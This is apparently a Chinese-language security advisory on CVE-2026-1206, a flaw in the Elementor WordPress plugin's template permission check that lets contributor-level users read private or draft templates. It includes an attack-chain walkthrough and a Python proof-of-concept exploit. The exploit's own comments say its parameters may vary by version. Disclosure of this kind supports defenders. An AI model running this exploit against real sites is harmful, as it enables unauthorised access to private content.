IPBUF安全漏洞报告
English
CVE-2026-1206 CVSS 4.3 中危

CVE-2026-1206 WordPress Elementor敏感信息泄露漏洞

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-1206
漏洞类型
敏感信息泄露
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Elementor Website Builder

相关标签

WordPressElementorIDOR敏感信息泄露权限绕过

漏洞概述

WordPress Elementor网站构建器插件在3.35.7及之前版本中存在逻辑缺陷。问题出在`is_allowed_to_read_template()`函数的权限检查上,它错误地将未发布的模板视为可读,且未验证编辑权限。这使得具有贡献者及以上权限的经过身份验证的攻击者,能够通过`elementor_ajax`端点的`get_template_data`动作,读取私有或草稿状态的Elementor模板内容,造成敏感信息泄露。

技术细节

该漏洞的核心在于插件`includes/template-library/sources/local.php`文件中的`is_allowed_to_read_template()`函数存在逻辑错误。正常情况下,读取未发布(私有或草稿)的模板需要验证用户是否具有编辑权限。然而,该函数在处理未发布模板时,跳过了关键的权限校验步骤,仅判断模板是否存在。

攻击者利用此漏洞时,首先需要在WordPress站点拥有Contributor(贡献者)或更高级别的账户。随后,攻击者构造一个POST请求发送至`/wp-admin/admin-ajax.php`,参数`action`设为`elementor_ajax`,并在数据体中指定`actions`为`get_template_data`,同时附带想要窃取的目标私有模板的ID(`template_id`)。由于服务端未验证当前用户是否有权编辑该私有模板,直接返回了模板的详细JSON数据,导致信息泄露。

攻击链分析

STEP 1
步骤1:获取低权限账户
攻击者注册或通过其他方式获取一个WordPress网站的Contributor(贡献者)级别及以上权限的账户。
STEP 2
步骤2:识别目标模板
攻击者通过枚举或其他方式获取站点的私有或草稿Elementor模板ID。
STEP 3
步骤3:发送恶意请求
攻击者向`/wp-admin/admin-ajax.php`发送POST请求,调用`elementor_ajax`动作,并在其中请求获取特定`template_id`的数据。
STEP 4
步骤4:获取敏感数据
由于漏洞存在,服务器绕过了编辑权限验证,直接返回了私有模板的内容,攻击者成功获取敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration target_url = "http://example.com/wp-admin/admin-ajax.php" username = "contributor_user" password = "user_password" template_id = "123" # The ID of the private/draft template to retrieve # 1. Login to get authenticated cookies login_url = target_url.replace('admin-ajax.php', 'wp-login.php') session = requests.Session() payload = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url } session.post(login_url, data=payload) # 2. Exploit the vulnerability # The vulnerability is in the 'get_template_data' action of 'elementor_ajax' exploit_data = { 'action': 'elementor_ajax', 'actions': '{{"get_template_data": {{"editor_post_id": {}}}, "source": "local"}}'.format(template_id) } # Note: Elementor often expects a specific JSON structure for actions # Depending on exact Elementor version, parameters might vary slightly. # The core issue is sending the template_id without edit perms. response = session.post(target_url, data=exploit_data) if response.status_code == 200: print("Response received:") print(response.text) else: print("Failed to send request")

影响范围

Elementor Website Builder <= 3.35.7

防御指南

临时缓解措施
如果无法立即升级插件,建议暂时禁用Elementor插件或严格限制新用户注册,并检查现有的贡献者级别用户账户是否存在异常行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表